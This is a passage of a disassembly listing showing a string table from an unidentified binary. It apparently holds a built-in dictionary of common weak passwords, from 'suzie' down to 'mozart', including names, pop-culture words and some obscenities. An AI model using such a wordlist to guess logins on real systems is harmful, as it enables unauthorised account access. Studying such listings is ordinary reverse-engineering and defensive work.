aSuzie db 'suzie',0 ; DATA XREF: seg002:0042D9D0o
align 4
aSuzanne db 'suzanne',0 ; DATA XREF: seg002:0042D9CCo
aSusie db 'susie',0 ; DATA XREF: seg002:0042D9C8o
align 4
aSusanne db 'susanne',0 ; DATA XREF: seg002:0042D9C4o
aSusan db 'susan',0 ; DATA XREF: seg002:0042D9C0o
align 4
aSurfing db 'surfing',0 ; DATA XREF: seg002:0042D9BCo
aSurfer db 'surfer',0 ; DATA XREF: seg002:0042D9B8o
align 4
aSupporte db 'supporte',0 ; DATA XREF: seg002:0042D9B4o
align 4
aSupport db 'support',0 ; DATA XREF: seg002:0042D9B0o
aSupervis db 'supervis',0 ; DATA XREF: seg002:0042D9ACo
align 4
aSuperuse db 'superuse',0 ; DATA XREF: seg002:0042D9A8o
align 4
aSupersta db 'supersta',0 ; DATA XREF: seg002:0042D9A4o
align 10h
aSuperson db 'superson',0 ; DATA XREF: seg002:0042D9A0o
align 4
aSuperman db 'superman',0 ; DATA XREF: seg002:0042D99Co
align 4
aSunday db 'sunday',0 ; DATA XREF: seg002:0042D998o
align 10h
aSummer db 'summer',0 ; DATA XREF: seg002:0042D994o
align 4
aSucks db 'sucks',0 ; DATA XREF: seg002:0042D990o
align 10h
aSuckmydi db 'suckmydi',0 ; DATA XREF: seg002:0042D98Co
align 4
aSuck db 'suck',0 ; DATA XREF: seg002:0042D988o
align 4
aSuccess db 'success',0 ; DATA XREF: seg002:0042D984o
aSubway db 'subway',0 ; DATA XREF: seg002:0042D980o
align 4
aSubscrib db 'subscrib',0 ; DATA XREF: seg002:0042D97Co
align 10h
aStuttgar db 'stuttgar',0 ; DATA XREF: seg002:0042D978o
align 4
aStrip db 'strip',0 ; DATA XREF: seg002:0042D970o
align 4
aString db 'string',0 ; DATA XREF: seg002:0042D96Co
align 4
aStreetfi db 'streetfi',0 ; DATA XREF: seg002:0042D968o
align 4
aStratfor db 'stratfor',0 ; DATA XREF: seg002:0042D964o
align 4
aStrangle db 'strangle',0 ; DATA XREF: seg002:0042D960o
align 10h
aStrange db 'strange',0 ; DATA XREF: seg002:0042D95Co
aStones db 'stones',0 ; DATA XREF: seg002:0042D958o
align 10h
aStoned db 'stoned',0 ; DATA XREF: seg002:0042D954o
align 4
dword_430058 dd 6E6F7473h aEage db 'eage',0 ; DATA XREF: seg002:off_42549Co
align 4
aSteve db 'steve',0 ; DATA XREF: seg002:0042D94Co
align 4
aStereo db 'stereo',0 ; DATA XREF: seg002:0042D948o
align 4
aStephani db 'stephani',0 ; DATA XREF: seg002:0042D944o
align 10h
aSteph db 'steph',0 ; DATA XREF: seg002:0042D940o
align 4
aSteel db 'steel',0 ; DATA XREF: seg002:0042D93Co
align 10h
aSteal db 'steal',0 ; DATA XREF: seg002:0042D938o
align 4
aSteak db 'steak',0 ; DATA XREF: seg002:0042D934o
align 10h
aStarwars db 'starwars',0 ; DATA XREF: seg002:0042D930o
align 4
aStartup db 'startup',0 ; DATA XREF: seg002:0042D92Co
aStartrek db 'startrek',0 ; DATA XREF: seg002:0042D928o
align 10h
aStart db 'start',0 ; DATA XREF: seg000:0040ED2Bo
; seg002:0042D924o
align 4
aStarship db 'starship',0 ; DATA XREF: seg002:0042D920o
align 4
aStar db 'star',0 ; DATA XREF: seg002:0042D91Co
align 4
aStacy db 'stacy',0 ; DATA XREF: seg002:0042D918o
align 4
aStacie db 'stacie',0 ; DATA XREF: seg002:0042D914o
align 4
aStaci db 'staci',0 ; DATA XREF: seg002:0042D910o
align 4
aStacey db 'stacey',0 ; DATA XREF: seg002:0042D90Co
align 4
aSr71 db 'sr71',0 ; DATA XREF: seg002:0042D908o
align 4
aSquires db 'squires',0 ; DATA XREF: seg002:0042D904o
aSpunk db 'spunk',0 ; DATA XREF: seg002:0042D900o
align 4
aSpringer db 'springer',0 ; DATA XREF: seg002:0042D8FCo
align 10h
aSpring db 'spring',0 ; DATA XREF: seg002:0042D8F8o
align 4
aSpred db 'spred',0 ; DATA XREF: seg002:0042D8F4o
align 10h
aSpit db 'spit',0 ; DATA XREF: seg002:0042D8F0o
align 4
aSpiderma db 'spiderma',0 ; DATA XREF: seg002:0042D8ECo
align 4
aSpider db 'spider',0 ; DATA XREF: seg002:0042D8E8o
align 4
aSpice db 'spice',0 ; DATA XREF: seg002:0042D8E4o
align 4
aSpell db 'spell',0 ; DATA XREF: seg002:0042D8E0o
align 4
aSpear db 'spear',0 ; DATA XREF: seg002:0042D8DCo
align 4
aSparrows db 'sparrows',0 ; DATA XREF: seg002:0042D8D8o
align 10h
aSpaceshi db 'spaceshi',0 ; DATA XREF: seg002:0042D8D4o
align 4
aSouth db 'south',0 ; DATA XREF: seg002:0042D8D0o
align 4
aSource db 'source',0 ; DATA XREF: seg002:0042D8CCo
align 4
aSossina db 'sossina',0 ; DATA XREF: seg002:0042D8C8o
aSonya db 'sonya',0 ; DATA XREF: seg002:0042D8C4o
align 4
aSonic db 'sonic',0 ; DATA XREF: seg002:0042D8C0o
align 4
aSonia db 'sonia',0 ; DATA XREF: seg002:0042D8BCo
align 4
aSondra db 'sondra',0 ; DATA XREF: seg002:0042D8B8o
align 4
aSomebody db 'somebody',0 ; DATA XREF: seg002:0042D8B4o
align 10h
aSoftware db 'software',0 ; DATA XREF: seg002:0042D8B0o
align 4
aSoft db 'soft',0 ; DATA XREF: seg002:0042D8ACo
align 4
aSodomy db 'sodomy',0 ; DATA XREF: seg002:0042D8A8o
align 4
aSocrates db 'socrates',0 ; DATA XREF: seg002:0042D8A4o
align 4
aSocial db 'social',0 ; DATA XREF: seg002:0042D8A0o
align 10h
aSoap db 'soap',0 ; DATA XREF: seg002:0042D89Co
align 4
aSnoopy db 'snoopy',0 ; DATA XREF: seg002:0042D898o
align 10h
aSnatch db 'snatch',0 ; DATA XREF: seg002:0042D894o
align 4
aSnake db 'snake',0 ; DATA XREF: seg002:0042D890o
align 10h
aSnafu db 'snafu',0 ; DATA XREF: seg002:0042D88Co
align 4
aSnach db 'snach',0 ; DATA XREF: seg002:0042D888o
align 10h
aSmut db 'smut',0 ; DATA XREF: seg002:0042D884o
align 4
aSmtp db 'smtp',0 ; DATA XREF: seg002:0042D880o
align 10h
aSmother db 'smother',0 ; DATA XREF: seg002:0042D87Co
aSmooch db 'smooch',0 ; DATA XREF: seg002:0042D878o
align 10h
aSmiles db 'smiles',0 ; DATA XREF: seg002:0042D874o
align 4
aSmile db 'smile',0 ; DATA XREF: seg002:0042D870o
align 10h
aSmart db 'smart',0 ; DATA XREF: seg002:0042D86Co
align 4
aSmall db 'small',0 ; DATA XREF: seg002:0042D868o
align 10h
aSlut db 'slut',0 ; DATA XREF: seg002:0042D864o
align 4
aSlow db 'slow',0 ; DATA XREF: seg002:0042D860o
align 10h
aSliders db 'sliders',0 ; DATA XREF: seg002:0042D85Co
aSlick db 'slick',0 ; DATA XREF: seg002:0042D858o
align 10h
aSlave db 'slave',0 ; DATA XREF: seg002:0042D854o
align 4
aSkull db 'skull',0 ; DATA XREF: seg002:0042D850o
align 10h
aSite db 'site',0 ; DATA XREF: seg002:0042D84Co
align 4
aSingle db 'single',0 ; DATA XREF: seg002:0042D848o
align 10h
aSinger db 'singer',0 ; DATA XREF: seg002:0042D844o
align 4
aSimulati db 'simulati',0 ; DATA XREF: seg002:0042D840o
align 4
aSimpsons db 'simpsons',0 ; DATA XREF: seg002:0042D83Co
align 10h
aSimple db 'simple',0 ; DATA XREF: seg002:0042D838o
align 4
aSimon db 'simon',0 ; DATA XREF: seg002:0042D834o
align 10h
aSimcity db 'simcity',0 ; DATA XREF: seg002:0042D830o
aSilver db 'silver',0 ; DATA XREF: seg002:0042D82Co
align 10h
aSignatur db 'signatur',0 ; DATA XREF: seg002:0042D828o
align 4
aSierra db 'sierra',0 ; DATA XREF: seg002:0042D824o
align 4
aSick db 'sick',0 ; DATA XREF: seg002:0042D820o
align 4
aShuttle db 'shuttle',0 ; DATA XREF: seg002:0042D81Co
aShort db 'short',0 ; DATA XREF: seg002:0042D818o
align 4
aShivers db 'shivers',0 ; DATA XREF: seg002:0042D814o
aShiva db 'shiva',0 ; DATA XREF: seg002:0042D810o
align 4
aShitpot db 'shitpot',0 ; DATA XREF: seg002:0042D80Co
aShit db 'shit',0 ; DATA XREF: seg002:0042D808o
align 4
aShirley db 'shirley',0 ; DATA XREF: seg002:0042D804o
aShift db 'shift',0 ; DATA XREF: seg002:0042D800o
align 4
aSherri db 'sherri',0 ; DATA XREF: seg002:0042D7FCo
align 4
aShell db 'shell',0 ; DATA XREF: seg002:0042D7F8o
align 4
aSheldon db 'sheldon',0 ; DATA XREF: seg002:0042D7F4o
aSheffiel db 'sheffiel',0 ; DATA XREF: seg002:0042D7F0o
align 10h
aSharon db 'sharon',0 ; DATA XREF: seg002:0042D7ECo
align 4
aSharks db 'sharks',0 ; DATA XREF: seg002:0042D7E8o
align 10h
aShark db 'shark',0 ; DATA XREF: seg002:0042D7E4o
align 4
aSharc db 'sharc',0 ; DATA XREF: seg002:0042D7E0o
align 10h
aShannon db 'shannon',0 ; DATA XREF: seg002:0042D7DCo
aSexy db 'sexy',0 ; DATA XREF: seg002:0042D7D8o
align 10h
aSesame db 'sesame',0 ; DATA XREF: seg002:0042D7D4o
align 4
aService db 'service',0 ; DATA XREF: seg002:0042D7D0o
; seg002:0042E398o
aSerial_0 db 'serial',0 ; DATA XREF: seg002:0042D7CCo
align 4
aSerenity db 'serenity',0 ; DATA XREF: seg002:0042D7C8o
align 4
aSentry db 'sentry',0 ; DATA XREF: seg002:0042D7C4o
align 4
aSentinel db 'sentinel',0 ; DATA XREF: seg002:0042D7C0o
align 4
aSensor db 'sensor',0 ; DATA XREF: seg002:0042D7BCo
align 10h
aSega db 'sega',0 ; DATA XREF: seg002:0042D7B8o
align 4
aSeed db 'seed',0 ; DATA XREF: seg002:0042D7B4o
align 10h
aSecurity db 'security',0 ; DATA XREF: seg002:0042D7B0o
align 4
aSearch db 'search',0 ; DATA XREF: seg002:0042D7ACo
align 4
aScout db 'scout',0 ; DATA XREF: seg002:0042D7A8o
align 4
aScotty db 'scotty',0 ; DATA XREF: seg002:0042D7A4o
align 4
aScott db 'scott',0 ; DATA XREF: seg002:0042D7A0o
align 4
aScorpion db 'scorpion',0 ; DATA XREF: seg002:0042D79Co
align 4
aScifi db 'scifi',0 ; DATA XREF: seg002:0042D798o
align 10h
aSchoolsucks db 'schoolsucks',0 ; DATA XREF: seg002:0042D794o
aSchool db 'school',0 ; DATA XREF: seg002:0042D790o
align 4
aScheme db 'scheme',0 ; DATA XREF: seg002:0042D78Co
align 4
aScamper db 'scamper',0 ; DATA XREF: seg002:0042D788o
aSaxon db 'saxon',0 ; DATA XREF: seg002:0042D784o
align 4
aSaturn db 'saturn',0 ; DATA XREF: seg002:0042D780o
align 4
aSaturday db 'saturday',0 ; DATA XREF: seg002:0042D77Co
align 10h
aSarah db 'sarah',0 ; DATA XREF: seg002:0042D778o
align 4
aSara db 'sara',0 ; DATA XREF: seg002:0042D774o
align 10h
aSandy db 'sandy',0 ; DATA XREF: seg002:0042D770o
align 4
aSandra db 'sandra',0 ; DATA XREF: seg002:0042D76Co
align 10h
aSample db 'sample',0 ; DATA XREF: seg002:0042D768o
align 4
aSamantha db 'samantha',0 ; DATA XREF: seg002:0042D764o
align 4
aSalt db 'salt',0 ; DATA XREF: seg002:0042D760o
align 4
aSale db 'sale',0 ; DATA XREF: seg002:0042D75Co
align 4
aSalami db 'salami',0 ; DATA XREF: seg002:0042D758o
align 4
aSafe db 'safe',0 ; DATA XREF: seg002:0042D754o
align 4
aRuth db 'ruth',0 ; DATA XREF: seg002:0042D750o
align 4
aRush db 'rush',0 ; DATA XREF: seg002:0042D74Co
align 4
aRunning db 'running',0 ; DATA XREF: seg002:0042D748o
aRules db 'rules',0 ; DATA XREF: seg002:0042D744o
align 4
aRude db 'rude',0 ; DATA XREF: seg002:0042D740o
align 4
aRuby db 'ruby',0 ; DATA XREF: seg002:0042D73Co
align 4
aRuben db 'ruben',0 ; DATA XREF: seg002:0042D738o
align 4
aRubber db 'rubber',0 ; DATA XREF: seg002:0042D734o
align 4
aRough db 'rough',0 ; DATA XREF: seg002:0042D730o
align 4
aRoses db 'roses',0 ; DATA XREF: seg002:0042D72Co
align 4
aRosemary db 'rosemary',0 ; DATA XREF: seg002:0042D728o
align 10h
aRosebud db 'rosebud',0 ; DATA XREF: seg002:0042D724o
aRose db 'rose',0 ; DATA XREF: seg002:0042D720o
align 10h
aRonald db 'ronald',0 ; DATA XREF: seg002:0042D71Co
align 4
aRomulan db 'romulan',0 ; DATA XREF: seg002:0042D718o
aRomeo db 'romeo',0 ; DATA XREF: seg002:0042D714o
align 4
aRomano db 'romano',0 ; DATA XREF: seg002:0042D710o
align 10h
aRolex db 'rolex',0 ; DATA XREF: seg002:0042D70Co
align 4
aRodent db 'rodent',0 ; DATA XREF: seg002:0042D708o
align 10h
aRockyhor db 'rockyhor',0 ; DATA XREF: seg002:0042D704o
align 4
aRocky db 'rocky',0 ; DATA XREF: seg002:0042D700o
align 4
aRock db 'rock',0 ; DATA XREF: seg002:0042D6FCo
align 4
aRocheste db 'rocheste',0 ; DATA XREF: seg002:0042D6F8o
align 4
aRochelle db 'rochelle',0 ; DATA XREF: seg002:0042D6F4o
align 4
aRobyn db 'robyn',0 ; DATA XREF: seg002:0042D6F0o
align 4
aRobotics db 'robotics',0 ; DATA XREF: seg002:0042D6ECo
align 4
aRobot db 'robot',0 ; DATA XREF: seg002:0042D6E8o
align 10h
aRobin db 'robin',0 ; DATA XREF: seg002:0042D6E4o
align 4
aRobert db 'robert',0 ; DATA XREF: seg002:0042D6E0o
align 10h
aRoach db 'roach',0 ; DATA XREF: seg002:0042D6DCo
align 4
aRisc db 'risc',0 ; DATA XREF: seg002:0042D6D8o
align 10h
aRipple db 'ripple',0 ; DATA XREF: seg002:0042D6D4o
align 4
aRiot db 'riot',0 ; DATA XREF: seg002:0042D6D0o
align 10h
aRing db 'ring',0 ; DATA XREF: seg002:0042D6CCo
align 4
aRightwin db 'rightwin',0 ; DATA XREF: seg002:0042D6C8o
align 4
aRight db 'right',0 ; DATA XREF: seg002:0042D6C4o
align 4
aRiffraff db 'riffraff',0 ; DATA XREF: seg002:0042D6C0o
align 4
aRick db 'rick',0 ; DATA XREF: seg002:0042D6BCo
align 10h
aRich db 'rich',0 ; DATA XREF: seg002:0042D6B8o
align 4
aRhino db 'rhino',0 ; DATA XREF: seg002:0042D6B4o
align 10h
aReveal db 'reveal',0 ; DATA XREF: seg002:0042D6B0o
align 4
aResistan db 'resistan',0 ; DATA XREF: seg002:0042D6ACo
align 4
aRepublic db 'republic',0 ; DATA XREF: seg002:0042D6A8o
align 10h
aReport db 'report',0 ; DATA XREF: seg002:0042D6A4o
align 4
aRent db 'rent',0 ; DATA XREF: seg002:0042D6A0o
align 10h
aReno db 'reno',0 ; DATA XREF: seg002:0042D69Co
align 4
aRenee db 'renee',0 ; DATA XREF: seg002:0042D698o
align 10h
aRemote db 'remote',0 ; DATA XREF: seg002:0042D694o
align 4
aRelease db 'release',0 ; DATA XREF: seg002:0042D690o
aRegional db 'regional',0 ; DATA XREF: seg002:0042D68Co
align 4
aReferenc db 'referenc',0 ; DATA XREF: seg002:0042D688o
align 4
aRedhead db 'redhead',0 ; DATA XREF: seg002:0042D684o
aReddawn db 'reddawn',0 ; DATA XREF: seg002:0042D680o
aRecord db 'record',0 ; DATA XREF: seg002:0042D67Co
align 10h
aRebel db 'rebel',0 ; DATA XREF: seg002:0042D678o
align 4
aRebecca db 'rebecca',0 ; DATA XREF: seg002:0042D674o
aRebal db 'rebal',0 ; DATA XREF: seg002:0042D670o
align 4
aReaper db 'reaper',0 ; DATA XREF: seg002:0042D66Co
align 10h
aReam db 'ream',0 ; DATA XREF: seg002:0042D668o
align 4
aReally db 'really',0 ; DATA XREF: seg002:0042D664o
align 10h
aReality db 'reality',0 ; DATA XREF: seg002:0042D660o
aReagan db 'reagan',0 ; DATA XREF: seg002:0042D65Co
align 10h
aRazor db 'razor',0 ; DATA XREF: seg002:0042D658o
align 4
aRascal db 'rascal',0 ; DATA XREF: seg002:0042D654o
align 10h
aRape db 'rape',0 ; DATA XREF: seg002:0042D650o
align 4
aRaleigh db 'raleigh',0 ; DATA XREF: seg002:0042D648o
aRaindrop db 'raindrop',0 ; DATA XREF: seg002:0042D644o
align 4
aRainbow db 'rainbow',0 ; DATA XREF: seg002:0042D640o
aRain db 'rain',0 ; DATA XREF: seg002:0042D63Co
align 4
aRaid db 'raid',0 ; DATA XREF: seg002:0042D638o
align 4
aRachmani db 'rachmani',0 ; DATA XREF: seg002:0042D634o
align 10h
aRachelle db 'rachelle',0 ; DATA XREF: seg002:0042D630o
align 4
aRachel db 'rachel',0 ; DATA XREF: seg002:0042D62Co
align 4
aRabbit db 'rabbit',0 ; DATA XREF: seg002:0042D628o
align 4
aQwerty db 'qwerty',0 ; DATA XREF: seg002:0042D624o
; seg002:0042E37Co
align 4
aQwert db 'qwert',0 ; DATA XREF: seg002:0042D620o
; seg002:0042E378o
align 4
aQuebec db 'quebec',0 ; DATA XREF: seg002:0042D61Co
align 4
aPussy db 'pussy',0 ; DATA XREF: seg002:0042D618o
align 4
aPuppet db 'puppet',0 ; DATA XREF: seg002:0042D614o
align 4
aPunk db 'punk',0 ; DATA XREF: seg002:0042D610o
align 4
aPunisher db 'punisher',0 ; DATA XREF: seg002:0042D60Co
align 4
aPuneet db 'puneet',0 ; DATA XREF: seg002:0042D608o
align 10h
aPumpkin db 'pumpkin',0 ; DATA XREF: seg002:0042D604o
aPuke db 'puke',0 ; DATA XREF: seg002:0042D600o
align 10h
aPuck db 'puck',0 ; DATA XREF: seg002:0042D5FCo
align 4
aPublic db 'public',0 ; DATA XREF: seg002:0042D5F8o
align 10h
aPsychopa db 'psychopa',0 ; DATA XREF: seg002:0042D5F4o
align 4
aPsycho db 'psycho',0 ; DATA XREF: seg002:0042D5F0o
align 4
aProtozoa db 'protozoa',0 ; DATA XREF: seg002:0042D5ECo
align 10h
aProtect db 'protect',0 ; DATA XREF: seg002:0042D5E8o
aPrompt db 'prompt',0 ; DATA XREF: seg002:0042D5E4o
align 10h
aProgram db 'program',0 ; DATA XREF: seg002:0042D5E0o
aProfile db 'profile',0 ; DATA XREF: seg002:0042D5DCo
aProfesso db 'professo',0 ; DATA XREF: seg002:0042D5D8o
align 4
aProcesso db 'processo',0 ; DATA XREF: seg002:0042D5D4o
align 4
aProceed db 'proceed',0 ; DATA XREF: seg002:0042D5D0o
aPrivs db 'privs',0 ; DATA XREF: seg002:0042D5CCo
align 4
aPrivate db 'private',0 ; DATA XREF: seg002:0042D5C8o
aPriv db 'priv',0 ; DATA XREF: seg002:0042D5C4o
align 4
aPrinter db 'printer',0 ; DATA XREF: seg002:0042D5C0o
aPrinceto db 'princeto',0 ; DATA XREF: seg002:0042D5BCo
align 4
aPrince db 'prince',0 ; DATA XREF: seg002:0042D5B8o
align 4
aPresto db 'presto',0 ; DATA XREF: seg002:0042D5B4o
align 4
aPrelude db 'prelude',0 ; DATA XREF: seg002:0042D5B0o
aPrecious db 'precious',0 ; DATA XREF: seg002:0042D5ACo
align 10h
aPraise db 'praise',0 ; DATA XREF: seg002:0042D5A8o
align 4
aPower db 'power',0 ; DATA XREF: seg002:0042D5A4o
align 10h
aPoster db 'poster',0 ; DATA XREF: seg002:0042D5A0o
align 4
aPost db 'post',0 ; DATA XREF: seg002:0042D59Co
align 10h
aPorsche db 'porsche',0 ; DATA XREF: seg002:0042D598o
aPorno db 'porno',0 ; DATA XREF: seg002:0042D594o
align 10h
aPorn db 'porn',0 ; DATA XREF: seg002:0042D590o
align 4
aPork db 'pork',0 ; DATA XREF: seg002:0042D58Co
align 10h
aPoor db 'poor',0 ; DATA XREF: seg002:0042D588o
align 4
aPoop db 'poop',0 ; DATA XREF: seg002:0042D584o
align 10h
aPonderin db 'ponderin',0 ; DATA XREF: seg002:0042D580o
align 4
aPolynomi db 'polynomi',0 ; DATA XREF: seg002:0042D57Co
align 4
aPolly db 'polly',0 ; DATA XREF: seg002:0042D578o
align 10h
aPolice db 'police',0 ; DATA XREF: seg002:0042D574o
align 4
aPoetry db 'poetry',0 ; DATA XREF: seg002:0042D570o
align 10h
aPlymouth db 'plymouth',0 ; DATA XREF: seg002:0042D56Co
align 4
aPluto db 'pluto',0 ; DATA XREF: seg002:0042D568o
align 4
aPlover db 'plover',0 ; DATA XREF: seg002:0042D564o
align 4
aPlayboy db 'playboy',0 ; DATA XREF: seg002:0042D560o
aPlane db 'plane',0 ; DATA XREF: seg002:0042D55Co
align 4
aPizza db 'pizza',0 ; DATA XREF: seg002:0042D558o
align 4
aPiss db 'piss',0 ; DATA XREF: seg002:0042D554o
align 4
aPinname db 'pinname',0 ; DATA XREF: seg002:0042D550o
aPimp db 'pimp',0 ; DATA XREF: seg002:0042D54Co
align 4
aPierre db 'pierre',0 ; DATA XREF: seg002:0042D548o
align 4
aPick db 'pick',0 ; DATA XREF: seg002:0042D544o
align 4
aPhuck db 'phuck',0 ; DATA XREF: seg002:0042D540o
align 4
aPhreak db 'phreak',0 ; DATA XREF: seg002:0042D53Co
align 4
aPhrase db 'phrase',0 ; DATA XREF: seg002:0042D538o
align 4
aPhrack db 'phrack',0 ; DATA XREF: seg002:0042D534o
align 4
aPhoton db 'photon',0 ; DATA XREF: seg002:0042D530o
align 4
aPhone db 'phone',0 ; DATA XREF: seg002:0042D52Co
align 4
aPhoenix db 'phoenix',0 ; DATA XREF: seg002:0042D528o
aPhilip db 'philip',0 ; DATA XREF: seg002:0042D524o
align 4
aPhil db 'phil',0 ; DATA XREF: seg002:0042D520o
align 4
aPeter db 'peter',0 ; DATA XREF: seg002:0042D51Co
align 4
aPete db 'pete',0 ; DATA XREF: seg002:0042D518o
align 4
aPervert db 'pervert',0 ; DATA XREF: seg002:0042D514o
aPersona db 'persona',0 ; DATA XREF: seg002:0042D510o
aPersimmo db 'persimmo',0 ; DATA XREF: seg002:0042D50Co
align 10h
aPermit db 'permit',0 ; DATA XREF: seg002:0042D508o
align 4
aPerfect db 'perfect',0 ; DATA XREF: seg002:0042D504o
aPercolat db 'percolat',0 ; DATA XREF: seg002:0042D500o
align 4
aPepper db 'pepper',0 ; DATA XREF: seg002:0042D4FCo
align 4
aPeoria db 'peoria',0 ; DATA XREF: seg002:0042D4F8o
align 4
aPentium db 'pentium',0 ; DATA XREF: seg002:0042D4F4o
aPenthous db 'penthous',0 ; DATA XREF: seg002:0042D4F0o
align 10h
aPentagra db 'pentagra',0 ; DATA XREF: seg002:0042D4ECo
align 4
aPentagon db 'pentagon',0 ; DATA XREF: seg002:0042D4E8o
align 4
aPenname db 'penname',0 ; DATA XREF: seg002:0042D4E4o
aPenis db 'penis',0 ; DATA XREF: seg002:0042D4E0o
align 4
aPenguin db 'penguin',0 ; DATA XREF: seg002:0042D4DCo
aPenelope db 'penelope',0 ; DATA XREF: seg002:0042D4D8o
align 4
aPencil db 'pencil',0 ; DATA XREF: seg002:0042D4D4o
align 4
aPecker db 'pecker',0 ; DATA XREF: seg002:0042D4D0o
align 4
aPeanuts db 'peanuts',0 ; DATA XREF: seg002:0042D4CCo
aPaula db 'paula',0 ; DATA XREF: seg002:0042D4C8o
align 4
aPatty db 'patty',0 ; DATA XREF: seg002:0042D4C4o
align 4
aPatriot db 'patriot',0 ; DATA XREF: seg002:0042D4C0o
aPatricia db 'patricia',0 ; DATA XREF: seg002:0042D4BCo
align 4
aPaste db 'paste',0 ; DATA XREF: seg002:0042D4B8o
align 10h
aPassphra db 'passphra',0 ; DATA XREF: seg002:0042D4B4o
align 4
aPascal db 'pascal',0 ; DATA XREF: seg002:0042D4B0o
align 4
aPapers db 'papers',0 ; DATA XREF: seg002:0042D4ACo
align 4
aPaper db 'paper',0 ; DATA XREF: seg002:0042D4A8o
align 4
aPapa db 'papa',0 ; DATA XREF: seg002:0042D4A4o
align 4
aPamela db 'pamela',0 ; DATA XREF: seg002:0042D4A0o
align 4
aPakistan db 'pakistan',0 ; DATA XREF: seg002:0042D49Co
align 10h
aPaint db 'paint',0 ; DATA XREF: seg002:0042D498o
align 4
aPainless db 'painless',0 ; DATA XREF: seg002:0042D494o
align 4
aPacker db 'packer',0 ; DATA XREF: seg002:0042D490o
align 4
aPackard db 'packard',0 ; DATA XREF: seg002:0042D48Co
aPacific db 'pacific',0 ; DATA XREF: seg002:0042D488o
aOxford db 'oxford',0 ; DATA XREF: seg002:0042D484o
align 4
aOutside db 'outside',0 ; DATA XREF: seg002:0042D480o
aOutput db 'output',0 ; DATA XREF: seg002:0042D47Co
align 4
aOutlaw db 'outlaw',0 ; DATA XREF: seg002:0042D478o
align 4
aOutdoors db 'outdoors',0 ; DATA XREF: seg002:0042D474o
align 4
aOsiris db 'osiris',0 ; DATA XREF: seg002:0042D470o
align 10h
aOscar db 'oscar',0 ; DATA XREF: seg002:0042D46Co
align 4
aOrwell db 'orwell',0 ; DATA XREF: seg002:0042D468o
align 10h
aOrient db 'orient',0 ; DATA XREF: seg002:0042D464o
align 4
aOrca db 'orca',0 ; DATA XREF: seg002:0042D460o
align 10h
aOperator db 'operator',0 ; DATA XREF: seg002:0042D45Co
align 4
aOpensesa db 'opensesa',0 ; DATA XREF: seg002:0042D458o
align 4
aOpenlock db 'openlock',0 ; DATA XREF: seg002:0042D454o
align 4
aOpening db 'opening',0 ; DATA XREF: seg002:0042D450o
aOmega db 'omega',0 ; DATA XREF: seg002:0042D448o
align 4
aOlivia db 'olivia',0 ; DATA XREF: seg002:0042D444o
align 4
aOlivetti db 'olivetti',0 ; DATA XREF: seg002:0042D440o
align 4
aOldage db 'oldage',0 ; DATA XREF: seg002:0042D43Co
align 10h
aOkay db 'okay',0 ; DATA XREF: seg002:0042D438o
align 4
aOffice db 'office',0 ; DATA XREF: seg002:0042D434o
align 10h
aOcelot db 'ocelot',0 ; DATA XREF: seg002:0042D430o
align 4
aOceanogr db 'oceanogr',0 ; DATA XREF: seg002:0042D42Co
align 4
aObscurit db 'obscurit',0 ; DATA XREF: seg002:0042D428o
align 10h
aNyquist db 'nyquist',0 ; DATA XREF: seg002:0042D424o
aNuts db 'nuts',0 ; DATA XREF: seg002:0042D420o
align 10h
aNutritio db 'nutritio',0 ; DATA XREF: seg002:0042D41Co
align 4
aNumber db 'number',0 ; DATA XREF: seg002:0042D418o
align 4
aNull_1 db 'null',0 ; DATA XREF: seg002:0042D414o
align 4
aNukem db 'nukem',0 ; DATA XREF: seg002:0042D410o
align 4
aNuke db 'nuke',0 ; DATA XREF: seg002:0042D40Co
align 4
aNude db 'nude',0 ; DATA XREF: seg002:0042D408o
align 4
aNuclear db 'nuclear',0 ; DATA XREF: seg002:0042D404o
aNoxious db 'noxious',0 ; DATA XREF: seg002:0042D400o
aNovember db 'november',0 ; DATA XREF: seg002:0042D3FCo
align 10h
aNovel db 'novel',0 ; DATA XREF: seg002:0042D3F8o
align 4
aNova db 'nova',0 ; DATA XREF: seg002:0042D3F4o
align 10h
aNoth db 'noth',0 ; DATA XREF: seg002:0042D3F0o
align 4
aNotes db 'notes',0 ; DATA XREF: seg002:0042D3ECo
align 10h
aNoreen db 'noreen',0 ; DATA XREF: seg002:0042D3E8o
align 4
aNode db 'node',0 ; DATA XREF: seg002:0042D3E4o
align 10h
aNobody db 'nobody',0 ; DATA XREF: seg002:0042D3E0o
align 4
aNoble db 'noble',0 ; DATA XREF: seg002:0042D3DCo
align 10h
aNnaacp db 'nnaacp',0 ; DATA XREF: seg002:0042D3D8o
align 4
aNita db 'nita',0 ; DATA XREF: seg002:0042D3D4o
align 10h
aNintendo db 'nintendo',0 ; DATA XREF: seg002:0042D3D0o
align 4
aNightmar db 'nightmar',0 ; DATA XREF: seg002:0042D3CCo
align 4
aNight db 'night',0 ; DATA XREF: seg002:0042D3C8o
align 10h
aNicotine db 'nicotine',0 ; DATA XREF: seg002:0042D3C4o
align 4
aNicole db 'nicole',0 ; DATA XREF: seg002:0042D3C0o
align 4
aNice db 'nice',0 ; DATA XREF: seg002:0042D3BCo
align 4
aNext db 'next',0 ; DATA XREF: seg002:0042D3B8o
align 4
aNewyork db 'newyork',0 ; DATA XREF: seg002:0042D3B4o
aNewton db 'newton',0 ; DATA XREF: seg002:0042D3B0o
align 4
aNewsgrou db 'newsgrou',0 ; DATA XREF: seg002:0042D3ACo
align 10h
aNews db 'news',0 ; DATA XREF: seg002:0042D3A8o
align 4
aNewborn db 'newborn',0 ; DATA XREF: seg002:0042D3A4o
aNetwork_0 db 'network',0 ; DATA XREF: seg002:0042D3A0o
aNetscape db 'netscape',0 ; DATA XREF: seg002:0042D39Co
align 4
aNess db 'ness',0 ; DATA XREF: seg002:0042D398o
align 4
aNeptune db 'neptune',0 ; DATA XREF: seg002:0042D394o
aNepenthe db 'nepenthe',0 ; DATA XREF: seg002:0042D390o
align 10h
aNavy db 'navy',0 ; DATA XREF: seg002:0042D38Co
align 4
aNasa db 'nasa',0 ; DATA XREF: seg002:0042D388o
align 10h
aNapoleon db 'napoleon',0 ; DATA XREF: seg002:0042D384o
align 4
aNancy db 'nancy',0 ; DATA XREF: seg002:0042D380o
align 4
aName db 'name',0 ; DATA XREF: seg002:0042D37Co
align 4
aNagel db 'nagel',0 ; DATA XREF: seg002:0042D378o
align 4
aMutant db 'mutant',0 ; DATA XREF: seg002:0042D374o
align 4
aMuppets db 'muppets',0 ; DATA XREF: seg002:0042D370o
aMsdos db 'msdos',0 ; DATA XREF: seg002:0042D36Co
align 4
aMpeg db 'mpeg',0 ; DATA XREF: seg002:0042D368o
align 4
aMozart db 'mozart',0 ; DATA XREF: seg002:0042D364o
align 4
